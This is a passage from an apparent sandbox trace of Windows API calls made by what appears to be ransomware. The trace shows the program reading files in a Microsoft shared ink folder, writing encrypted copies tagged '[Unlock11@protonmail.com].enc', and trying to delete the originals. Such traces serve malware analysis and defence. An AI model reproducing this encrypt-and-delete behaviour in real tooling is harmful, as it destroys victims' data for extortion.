lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.240] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.240] GetLastError () returned 0x0 [0121.241] GetCurrentThreadId () returned 0x9b0 [0121.241] GetLastError () returned 0x0 [0121.241] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de4b8 | out: hHeap=0x2ad0000) returned 1 [0121.241] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887800 | out: hHeap=0x2ad0000) returned 1 [0121.241] GetLastError () returned 0x0 [0121.241] GetLastError () returned 0x0 [0121.241] GetLastError () returned 0x0 [0121.241] GetLastError () returned 0x0 [0121.241] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0121.242] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de4b8 [0121.242] GetLastError () returned 0x0 [0121.242] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0121.242] GetFileType (hFile=0x3ac) returned 0x1 [0121.242] GetLastError () returned 0x0 [0121.243] GetCurrentThreadId () returned 0x9b0 [0121.243] GetLastError () returned 0x0 [0121.243] GetFileType (hFile=0x3ac) returned 0x1 [0121.243] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0121.243] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.243] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.243] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.243] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.243] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.243] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.243] GetLastError () returned 0x0 [0121.243] GetCurrentThreadId () returned 0x9b0 [0121.243] GetLastError () returned 0x0 [0121.244] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de4b8 | out: hHeap=0x2ad0000) returned 1 [0121.244] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de958 | out: hHeap=0x2ad0000) returned 1 [0121.244] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0121.244] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0121.244] GetLastError () returned 0x0 [0121.244] GetLastError () returned 0x0 [0121.244] GetCurrentThreadId () returned 0x9b0 [0121.244] GetLastError () returned 0x0 [0121.244] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0121.244] GetLastError () returned 0x0 [0121.244] GetLastError () returned 0x0 [0121.245] GetCurrentThreadId () returned 0x9b0 [0121.245] GetLastError () returned 0x0 [0121.245] GetLastError () returned 0x0 [0121.246] GetLastError () returned 0x0 [0121.246] GetCurrentThreadId () returned 0x9b0 [0121.246] GetLastError () returned 0x0 [0121.246] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de608 | out: hHeap=0x2ad0000) returned 1 [0121.246] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xa68) returned 0x382cb08 [0121.247] GetCurrentThreadId () returned 0x9b0 [0121.247] GetLastError () returned 0x0 [0121.247] GetLastError () returned 0x0 [0121.247] GetLastError () returned 0x0 [0121.247] GetLastError () returned 0x0 [0121.247] GetCurrentThreadId () returned 0x9b0 [0121.247] GetLastError () returned 0x0 [0121.247] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cb08 | out: hHeap=0x2ad0000) returned 1 [0121.247] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0121.247] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0121.248] GetLastError () returned 0x0 [0121.248] GetLastError () returned 0x0 [0121.248] GetCurrentThreadId () returned 0x9b0 [0121.248] GetLastError () returned 0x0 [0121.248] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c8308 | out: hHeap=0x2ad0000) returned 1 [0121.248] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8fb8 [0121.248] GetLastError () returned 0x0 [0121.248] GetLastError () returned 0x0 [0121.248] GetCurrentThreadId () returned 0x9b0 [0121.248] GetLastError () returned 0x0 [0121.248] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8fb8 | out: hHeap=0x2ad0000) returned 1 [0121.249] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0121.249] GetLastError () returned 0x0 [0121.250] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0121.250] CloseHandle (hObject=0x3ac) returned 1 [0121.250] GetLastError () returned 0x0 [0121.250] GetCurrentThreadId () returned 0x9b0 [0121.250] GetLastError () returned 0x0 [0121.250] GetLastError () returned 0x0 [0121.250] CloseHandle (hObject=0x39c) returned 1 [0121.250] GetLastError () returned 0x0 [0121.250] GetCurrentThreadId () returned 0x9b0 [0121.251] GetLastError () returned 0x0 [0121.251] GetLastError () returned 0x0 [0121.251] GetLastError () returned 0x0 [0121.251] GetLastError () returned 0x0 [0121.251] GetLastError () returned 0x0 [0121.251] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml")) returned 0 [0121.251] GetLastError () returned 0x5 [0121.251] GetCurrentThreadId () returned 0x9b0 [0121.251] GetLastError () returned 0x5 [0121.251] GetLastError () returned 0x5 [0121.252] GetLastError () returned 0x5 [0121.252] GetLastError () returned 0x5 [0121.252] LocalFree (hMem=0x1053c70) returned 0x0 [0121.252] GetCurrentThreadId () returned 0x9b0 [0121.252] GetLastError () returned 0x5 [0121.252] GetLastError () returned 0x5 [0121.252] GetLastError () returned 0x5 [0121.252] GetLastError () returned 0x5 [0121.252] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml", lpFilePart=0x9bada4*="ipsnor.xml") returned 0x3d [0121.252] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0121.253] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0121.253] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0121.253] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0121.253] GetCurrentThreadId () returned 0x9b0 [0121.253] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea160 [0121.253] GetLastError () returned 0x0 [0121.253] GetLastError () returned 0x0 [0121.253] GetLastError () returned 0x0 [0121.253] GetLastError () returned 0x0 [0121.253] GetCurrentThreadId () returned 0x9b0 [0121.253] GetLastError () returned 0x0 [0121.254] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea160 | out: hHeap=0x2ad0000) returned 1 [0121.254] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea4f8 [0121.254] GetLastError () returned 0x0 [0121.254] GetLastError () returned 0x0 [0121.254] GetLastError () returned 0x0 [0121.254] GetLastError () returned 0x0 [0121.254] GetCurrentThreadId () returned 0x9b0 [0121.254] GetLastError () returned 0x0 [0121.254] GetCurrentThreadId () returned 0x9b0 [0121.254] GetLastError () returned 0x0 [0121.254] GetLastError () returned 0x0 [0121.254] GetLastError () returned 0x0 [0121.255] GetLastError () returned 0x0 [0121.255] GetCurrentThreadId () returned 0x9b0 [0121.255] GetCurrentThreadId () returned 0x9b0 [0121.255] GetCurrentThreadId () returned 0x9b0 [0121.255] GetCurrentThreadId () returned 0x9b0 [0121.255] GetCurrentThreadId () returned 0x9b0 [0121.255] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d100bae, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d100bae, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa14)) returned 1 [0121.255] GetCurrentThreadId () returned 0x9b0 [0121.256] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366acdc | out: pbBuffer=0x366acdc) returned 1 [0121.256] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0121.256] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a54e8 [0121.256] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0121.256] GetCurrentThreadId () returned 0x9b0 [0121.256] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea250 [0121.256] GetCurrentThreadId () returned 0x9b0 [0121.256] GetCurrentThreadId () returned 0x9b0 [0121.256] GetCurrentThreadId () returned 0x9b0 [0121.257] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0121.257] GetFileType (hFile=0x39c) returned 0x1 [0121.257] GetCurrentThreadId () returned 0x9b0 [0121.257] GetFileType (hFile=0x39c) returned 0x1 [0121.257] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0121.257] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.257] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.257] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.257] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.258] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.258] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.258] GetLastError () returned 0x0 [0121.258] GetCurrentThreadId () returned 0x9b0 [0121.258] GetLastError () returned 0x0 [0121.258] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de618 | out: hHeap=0x2ad0000) returned 1 [0121.258] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887530 | out: hHeap=0x2ad0000) returned 1 [0121.258] GetLastError () returned 0x0 [0121.258] GetLastError () returned 0x0 [0121.258] GetLastError () returned 0x0 [0121.258] GetLastError () returned 0x0 [0121.258] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0121.259] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de618 [0121.259] GetLastError () returned 0x0 [0121.259] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0121.259] GetFileType (hFile=0x3ac) returned 0x1 [0121.259] GetLastError () returned 0x0 [0121.259] GetCurrentThreadId () returned 0x9b0 [0121.259] GetLastError () returned 0x0 [0121.259] GetFileType (hFile=0x3ac) returned 0x1 [0121.260] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0121.260] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.260] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.260] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.260] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.260] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.260] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.260] GetLastError () returned 0x0 [0121.260] GetCurrentThreadId () returned 0x9b0 [0121.260] GetLastError () returned 0x0 [0121.260] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de618 | out: hHeap=0x2ad0000) returned 1 [0121.260] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de7b8 | out: hHeap=0x2ad0000) returned 1 [0121.260] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811f8 [0121.261] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0121.261] GetLastError () returned 0x0 [0121.261] GetLastError () returned 0x0 [0121.261] GetCurrentThreadId () returned 0x9b0 [0121.261] GetLastError () returned 0x0 [0121.261] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0121.261] GetLastError () returned 0x0 [0121.261] GetLastError () returned 0x0 [0121.261] GetCurrentThreadId () returned 0x9b0 [0121.261] GetLastError () returned 0x0 [0121.261] GetLastError () returned 0x0 [0121.263] GetLastError () returned 0x0 [0121.263] GetCurrentThreadId () returned 0x9b0 [0121.263] GetLastError () returned 0x0 [0121.263] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de608 | out: hHeap=0x2ad0000) returned 1 [0121.263] GetCurrentThreadId () returned 0x9b0 [0121.263] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xa38) returned 0x35cb7b0 [0121.264] GetLastError () returned 0x0 [0121.264] GetLastError () returned 0x0 [0121.264] GetLastError () returned 0x0 [0121.264] GetLastError () returned 0x0 [0121.264] GetCurrentThreadId () returned 0x9b0 [0121.264] GetLastError () returned 0x0 [0121.264] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35cb7b0 | out: hHeap=0x2ad0000) returned 1 [0121.264] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0121.264] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0121.264] GetLastError () returned 0x0 [0121.265] GetLastError () returned 0x0 [0121.265] GetCurrentThreadId () returned 0x9b0 [0121.265] GetLastError () returned 0x0 [0121.265] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c6370 | out: hHeap=0x2ad0000) returned 1 [0121.265] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8f88 [0121.265] GetLastError () returned 0x0 [0121.265] GetLastError () returned 0x0 [0121.265] GetCurrentThreadId () returned 0x9b0 [0121.265] GetLastError () returned 0x0 [0121.265] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8f88 | out: hHeap=0x2ad0000) returned 1 [0121.265] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0121.266] GetLastError () returned 0x0 [0121.266] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0121.267] CloseHandle (hObject=0x3ac) returned 1 [0121.267] GetLastError () returned 0x0 [0121.267] GetCurrentThreadId () returned 0x9b0 [0121.267] GetLastError () returned 0x0 [0121.267] GetLastError () returned 0x0 [0121.267] CloseHandle (hObject=0x39c) returned 1 [0121.267] GetLastError () returned 0x0 [0121.267] GetCurrentThreadId () returned 0x9b0 [0121.267] GetLastError () returned 0x0 [0121.267] GetLastError () returned 0x0 [0121.268] GetLastError () returned 0x0 [0121.268] GetLastError () returned 0x0 [0121.268] GetLastError () returned 0x0 [0121.268] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml")) returned 0 [0121.268] GetLastError () returned 0x5 [0121.268] GetCurrentThreadId () returned 0x9b0 [0121.268] GetLastError () returned 0x5 [0121.268] GetLastError () returned 0x5 [0121.268] GetLastError () returned 0x5 [0121.269] GetLastError () returned 0x5 [0121.269] LocalFree (hMem=0x1053a70) returned 0x0 [0121.269] GetCurrentThreadId () returned 0x9b0 [0121.269] GetLastError () returned 0x5 [0121.269] GetLastError () returned 0x5 [0121.269] GetLastError () returned 0x5 [0121.269] GetLastError () returned 0x5 [0121.269] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml", lpFilePart=0x9bada4*="ipsplk.xml") returned 0x3d [0121.269] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0121.269] GetCurrentThreadId () returned 0x9b0 [0121.270] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0121.270] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0121.270] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0121.270] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea340 [0121.270] GetLastError () returned 0x0 [0121.270] GetLastError () returned 0x0 [0121.270] GetLastError () returned 0x0 [0121.270] GetLastError () returned 0x0 [0121.270] GetCurrentThreadId () returned 0x9b0 [0121.270] GetLastError () returned 0x0 [0121.270] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea340 | out: hHeap=0x2ad0000) returned 1 [0121.271] GetCurrentThreadId () returned 0x9b0 [0121.271] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea430 [0121.271] GetLastError () returned 0x0 [0121.271] GetLastError () returned 0x0 [0121.271] GetLastError () returned 0x0 [0121.271] GetLastError () returned 0x0 [0121.271] GetCurrentThreadId () returned 0x9b0 [0121.271] GetLastError () returned 0x0 [0121.271] GetLastError () returned 0x0 [0121.271] GetLastError () returned 0x0 [0121.271] GetLastError () returned 0x0 [0121.271] GetLastError () returned 0x0 [0121.272] GetCurrentThreadId () returned 0x9b0 [0121.272] GetLastError () returned 0x0 [0121.272] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea430 | out: hHeap=0x2ad0000) returned 1 [0121.272] GetLastError () returned 0x0 [0121.272] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6708 | out: hHeap=0x2ad0000) returned 1 [0121.272] GetLastError () returned 0x0 [0121.272] GetLastError () returned 0x0 [0121.272] GetLastError () returned 0x0 [0121.272] GetCurrentThreadId () returned 0x9b0 [0121.272] GetLastError () returned 0x0 [0121.273] GetCurrentThreadId () returned 0x9b0 [0121.273] GetLastError () returned 0x0 [0121.273] GetLastError () returned 0x0 [0121.273] GetLastError () returned 0x0 [0121.273] GetLastError () returned 0x0 [0121.273] GetCurrentThreadId () returned 0x9b0 [0121.273] GetLastError () returned 0x0 [0121.273] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a3e8 | out: hHeap=0x2ad0000) returned 1 [0121.274] GetLastError () returned 0x0 [0121.274] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6168 | out: hHeap=0x2ad0000) returned 1 [0121.274] GetLastError () returned 0x0 [0121.274] GetLastError () returned 0x0 [0121.274] GetLastError () returned 0x0 [0121.274] GetCurrentThreadId () returned 0x9b0 [0121.274] GetLastError () returned 0x0 [0121.274] GetLastError () returned 0x0 [0121.274] GetLastError () returned 0x0 [0121.274] GetLastError () returned 0x0 [0121.274] GetLastError () returned 0x0 [0121.275] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0121.275] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d100bae, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d100bae, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa28)) returned 1 [0121.275] GetLastError () returned 0x0 [0121.275] GetCurrentThreadId () returned 0x9b0 [0121.275] GetLastError () returned 0x0 [0121.275] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887890 | out: hHeap=0x2ad0000) returned 1 [0121.275] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366acb4 | out: pbBuffer=0x366acb4) returned 1 [0121.275] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0121.275] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3028 [0121.275] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0121.275] GetCurrentThreadId () returned 0x9b0 [0121.276] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea4a8 [0121.276] GetLastError () returned 0x0 [0121.276] GetLastError () returned 0x0 [0121.276] GetLastError () returned 0x0 [0121.276] GetLastError () returned 0x0 [0121.276] GetCurrentThreadId () returned 0x9b0 [0121.276] GetLastError () returned 0x0 [0121.276] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea4a8 | out: hHeap=0x2ad0000) returned 1 [0121.276] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea110 [0121.276] GetCurrentThreadId () returned 0x9b0 [0121.277] GetLastError () returned 0x0 [0121.277] GetLastError () returned 0x0 [0121.277] GetLastError () returned 0x0 [0121.277] GetLastError () returned 0x0 [0121.277] GetCurrentThreadId () returned 0x9b0 [0121.277] GetLastError () returned 0x0 [0121.277] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea110 | out: hHeap=0x2ad0000) returned 1 [0121.277] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de4b8 [0121.277] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a3028 | out: hHeap=0x2ad0000) returned 1 [0121.277] GetLastError () returned 0x0 [0121.277] GetLastError () returned 0x0 [0121.278] GetLastError () returned 0x0 [0121.278] GetLastError () returned 0x0 [0121.278] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0121.278] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de608 [0121.278] GetLastError () returned 0x0 [0121.278] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0121.278] GetFileType (hFile=0x39c) returned 0x1 [0121.278] GetLastError () returned 0x0 [0121.278] GetCurrentThreadId () returned 0x9b0 [0121.278] GetLastError () returned 0x0 [0121.279] GetFileType (hFile=0x39c) returned 0x1 [0121.279] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0121.279] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.279] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.279] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.279] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.279] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.279] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.279] GetLastError () returned 0x0 [0121.279] GetCurrentThreadId () returned 0x9b0 [0121.279] GetLastError () returned 0x0 [0121.279] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de608 | out: hHeap=0x2ad0000) returned 1 [0121.279] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887530 | out: hHeap=0x2ad0000) returned 1 [0121.279] GetLastError () returned 0x0 [0121.280] GetLastError () returned 0x0 [0121.280] GetLastError () returned 0x0 [0121.280] GetLastError () returned 0x0 [0121.280] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0121.280] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de608 [0121.280] GetLastError () returned 0x0 [0121.280] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft 